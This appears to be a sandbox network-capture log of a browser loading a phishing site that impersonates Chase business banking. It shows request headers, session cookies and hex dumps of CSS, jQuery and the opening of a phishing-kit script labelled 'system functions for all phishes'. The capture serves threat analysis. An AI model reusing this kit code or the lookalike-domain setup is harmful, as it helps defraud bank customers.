2024-12-20 00:17:07 UTC	15310	IN	Data Raw: 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 72 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 78 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 74 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 79 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 70 62 2d 61 74 2d 39 39 32 2d 31 2c 2e 6d 64 73 2d 70 79 2d 61 74 2d 39 39 32 2d 31 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 2d 61 74 2d 39 39 32 2d 31 7b 6d 61 72 67 69 6e 3a 32 70 78 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 64 73 2d 6d 6c 2d 61 74 2d 39 39 32 2d 32 2c 2e 6d 64 73 2d 6d 78 2d 61 74 Data Ascii: rtant}.mds-pr-at-992-1,.mds-px-at-992-1{padding-right:2px!important}.mds-pt-at-992-1,.mds-py-at-992-1{padding-top:2px!important}.mds-pb-at-992-1,.mds-py-at-992-1{padding-bottom:2px!important}.mds-m-at-992-1{margin:2px!important}.mds-ml-at-992-2,.mds-mx-at

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49862	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	847	OUT	GET /content/css/loader_big.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:07 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 22:28:16 GMT ETag: "1475-61be6a5a8e000" Accept-Ranges: bytes Content-Length: 5237 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	5237	IN	Data Raw: 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 5f 62 69 67 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 74 6f 70 3a 20 34 34 25 3b 0d 0a 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 63 63 63 63 63 63 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 5f 62 69 67 3a 62 65 66 6f 72 65 20 7b 0d 0a 20 20 63 6f 6e 74 65 6e 74 3a 20 22 22 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0d 0a 20 20 6d 61 72 67 69 6e Data Ascii: .loader_big { position: fixed; top: 44%; right: 0; bottom: 0; left: 0; z-index: 9999; margin: 0; text-align: center; color: #cccccc; font-size: 14px;}.loader_big:before { content: ""; display: block; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49865	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	843	OUT	GET /content/css/loader.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:07 UTC	272	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 22:24:14 GMT ETag: "14a4-61be6973c3f80" Accept-Ranges: bytes Content-Length: 5284 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	5284	IN	Data Raw: 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 20 7b 0d 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 0d 0a 20 20 74 6f 70 3a 20 34 34 25 3b 0d 0a 20 20 72 69 67 68 74 3a 20 30 3b 0d 0a 20 20 62 6f 74 74 6f 6d 3a 20 30 3b 0d 0a 20 20 6c 65 66 74 3a 20 30 3b 0d 0a 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 23 35 39 34 30 35 61 3b 0d 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 7d 0d 0a 0d 0a 2e 6c 6f 61 64 65 72 20 73 70 61 6e 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0d 0a 09 74 6f 70 3a 20 2d 34 30 70 78 3b 0d 0a 09 6c 65 66 74 3a 20 35 35 70 78 3b 0d 0a 7d 0d 0a 0d Data Ascii: .loader { position: fixed; top: 44%; right: 0; bottom: 0; left: 0; z-index: 9999; margin: 0; text-align: center; color: #59405a; font-size: 16px;}.loader span{position: relative;top: -40px;left: 55px;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49866	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:06 UTC	841	OUT	GET /content/css/main.css HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:07 UTC	270	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:06 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Fri, 21 Jun 2024 12:41:12 GMT ETag: "17c-61b65bf190a00" Accept-Ranges: bytes Content-Length: 380 Vary: Accept-Encoding Connection: close Content-Type: text/css
2024-12-20 00:17:07 UTC	380	IN	Data Raw: 2e 68 69 64 65 5f 63 6f 6e 74 20 7b 0d 0a 09 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 6f 72 6d 61 74 74 65 64 2d 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 2f 2a 6d 61 78 2d 77 69 64 74 68 3a 20 36 30 30 70 78 3b 2a 2f 0d 0a 20 20 20 20 68 65 69 67 68 74 3a 20 33 30 30 70 78 3b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0d 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 20 2f 2a 20 4b 65 65 70 73 20 77 68 69 74 65 73 70 61 63 65 20 66 6f 72 6d 61 74 74 69 6e 67 20 2a 2f Data Ascii: .hide_cont {display:none;}.formatted-textarea { width: 100%; /max-width: 600px;/ height: 300px; border: 1px solid #ccc; padding: 10px; overflow-y: auto; white-space: pre-wrap; /* Keeps whitespace formatting */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49868	142.250.181.110	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:07 UTC	673	OUT	GET /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SDgQc-ORScP8PqJyqKLTb8fHtbf_81MUwDTAeiaM5dWA4VIDj8QdiyFho1--ZJgUt_p7fMmZ1uPOlcRGiz2x4NKXhI7ppSc3mnz9fcwe6Sli5XSFjhTw7yxIzccH_9aTSpCI3-TrfCSjnG9jozhEZIHCgazyG_WKGyEhwOACXdAi4yC2iqS-8xuoLJmu4HY
2024-12-20 00:17:08 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Fri, 20 Dec 2024 00:17:08 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-20 00:17:08 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-20 00:17:08 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49869	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:08 UTC	836	OUT	GET /content/js/jquery3_3_1.min.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:09 UTC	288	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 14 Dec 2023 15:25:08 GMT ETag: "15391-60c79e3853d00" Accept-Ranges: bytes Content-Length: 86929 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 33 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 Data Ascii: /! jQuery v3.3.1 \| (c) JS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 2c 6e 3d 5b 5d 2c 72 3d 73 28 65 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 29 3b 72 65 74 75 72 6e 20 72 5b 62 5d 3f 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 2c 69 29 7b 76 61 72 20 6f 2c 61 3d 72 28 65 2c 6e 75 6c 6c 2c 69 2c 5b 5d 29 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 73 2d 2d 29 28 6f 3d 61 5b 73 5d 29 26 26 28 65 5b 73 5d 3d 21 28 74 5b 73 5d 3d 6f 29 29 7d 29 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 69 2c 6f 29 7b 72 65 74 75 72 6e 20 74 5b 30 5d 3d 65 2c 72 28 74 2c 6e 75 6c 6c 2c 6f 2c 6e 29 2c 74 5b 30 5d 3d 6e 75 6c 6c 2c 21 6e 2e 70 6f 70 28 29 7d 7d 29 2c 68 61 73 3a 73 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 65 28 65 2c 74 29 2e 6c Data Ascii: ,n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).l
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 74 29 7b 76 61 72 20 6e 2c 72 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 69 66 28 76 6f 69 64 20 30 21 3d 3d 72 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 74 29 7b 6e 3d 28 74 3d 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 3f 74 2e 6d 61 70 28 47 29 3a 28 74 3d 47 28 74 29 29 69 6e 20 72 3f 5b 74 5d 3a 74 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6e 2d 2d 29 64 65 6c 65 74 65 20 72 5b 74 5b 6e 5d 5d 7d 28 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 77 2e 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 28 72 29 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 3a 64 65 6c 65 74 65 20 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 29 7d 7d 2c 68 61 73 44 61 74 61 Data Ascii: t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(G):(t=G(t))in r?[t]:t.match(M)\|\|[]).length;while(n--)delete r[t[n]]}(void 0===t\|\|w.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 66 6f 72 65 28 65 2c 74 68 69 73 2e 6e 65 78 74 53 69 62 6c 69 6e 67 29 7d 29 7d 2c 65 6d 70 74 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 2c 74 3d 30 3b 6e 75 6c 6c 21 3d 28 65 3d 74 68 69 73 5b 74 5d 29 3b 74 2b 2b 29 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 28 77 2e 63 6c 65 61 6e 44 61 74 61 28 79 65 28 65 2c 21 31 29 29 2c 65 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 22 22 29 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 6e 75 6c 6c 21 3d 65 26 26 65 2c 74 3d 6e 75 6c 6c 3d 3d 74 3f 65 3a 74 2c 74 68 69 73 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 77 2e 63 6c 6f 6e 65 28 74 68 69 73 2c 65 2c 74 29 7d 29 7d 2c 68 74 Data Ascii: fore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},ht
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 65 72 22 2c 22 63 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 77 2e 70 72 6f 70 46 69 78 5b 74 68 69 73 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 3d 74 68 69 73 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 28 65 2e 6d 61 74 63 68 28 4d 29 7c 7c 5b 5d 29 2e 6a 6f 69 6e 28 22 20 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 63 6c 61 73 73 22 29 7c 7c 22 22 7d 66 75 6e 63 74 69 6f 6e 20 78 74 28 65 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 3f 65 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 65 3f 65 2e 6d 61 74 63 68 28 4d 29 Data Ascii: er","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)\|\|[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")\|\|""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)
2024-12-20 00:17:09 UTC	5009	IN	Data Raw: 6c 62 61 63 6b 2c 59 74 2e 70 75 73 68 28 69 29 29 2c 61 26 26 67 28 6f 29 26 26 6f 28 61 5b 30 5d 29 2c 61 3d 6f 3d 76 6f 69 64 20 30 7d 29 2c 22 73 63 72 69 70 74 22 7d 29 2c 68 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 72 2e 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 2e 63 72 65 61 74 65 48 54 4d 4c 44 6f 63 75 6d 65 6e 74 28 22 22 29 2e 62 6f 64 79 3b 72 65 74 75 72 6e 20 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 3c 66 6f 72 6d 3e 3c 2f 66 6f 72 6d 3e 22 2c 32 3d 3d 3d 65 2e 63 68 69 6c 64 4e 6f 64 65 73 2e 6c 65 6e 67 74 68 7d 28 29 2c 77 2e 70 61 72 73 65 48 54 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 69 66 28 22 73 74 72 69 6e 67 Data Ascii: lback,Yt.push(i)),a&&g(o)&&o(a[0]),a=o=void 0}),"script"}),h.createHTMLDocument=function(){var e=r.implementation.createHTMLDocument("").body;return e.innerHTML="<form></form><form></form>",2===e.childNodes.length}(),w.parseHTML=function(e,t,n){if("string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49870	188.119.66.154	443	3180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 00:17:08 UTC	825	OUT	GET /content/js/main.js HTTP/1.1 Host: online.access.secure001.chase-business.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://online.access.secure001.chase-business.com/web/auth/dashboard/dashboard/index/index Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=kcal1ci3pcv6avg4qh6n1dhnv7; stp=0; ppath=web%2Fauth%2Fdashboard%2Fdashboard%2Findex%2Findex; uid=5a4d22e2b2bbd8eeecd1e5b6b012d987; wt=0; uid_hash=bbecbe4eee67084dce4f604c98e6ce6e
2024-12-20 00:17:09 UTC	287	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 00:17:08 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Thu, 27 Jun 2024 21:42:00 GMT ETag: "5645-61be600327a00" Accept-Ranges: bytes Content-Length: 22085 Vary: Accept-Encoding Connection: close Content-Type: application/javascript
2024-12-20 00:17:09 UTC	16384	IN	Data Raw: 2f 2f 53 54 41 52 54 20 73 79 73 74 65 6d 20 66 75 6e 63 74 69 6f 6e 73 20 66 6f 72 20 61 6c 6c 20 70 68 69 73 68 65 73 0d 0a 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 20 3d 20 6d 61 6b 65 69 64 28 35 29 3b 0d 0a 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 73 65 73 73 69 6f 6e 22 2c 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 3b 0d 0a 76 61 72 20 6f 6e 53 74 6f 72 61 67 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0d 0a 09 69 66 20 28 65 2e 6b 65 79 20 3d 3d 3d 20 27 73 65 73 73 69 6f 6e 27 20 26 26 20 65 2e 6e 65 77 56 61 6c 75 65 20 21 3d 3d 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 29 0d 0a 09 09 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 22 6d 75 6c 74 69 74 61 62 22 2c 20 77 69 6e 64 6f 77 2e Data Ascii: //START system functions for all phisheswindow.session = makeid(5);localStorage.setItem("session", window.session);var onStorage = function (e) {if (e.key === 'session' && e.newValue !== window.session)localStorage.setItem("multitab", window.
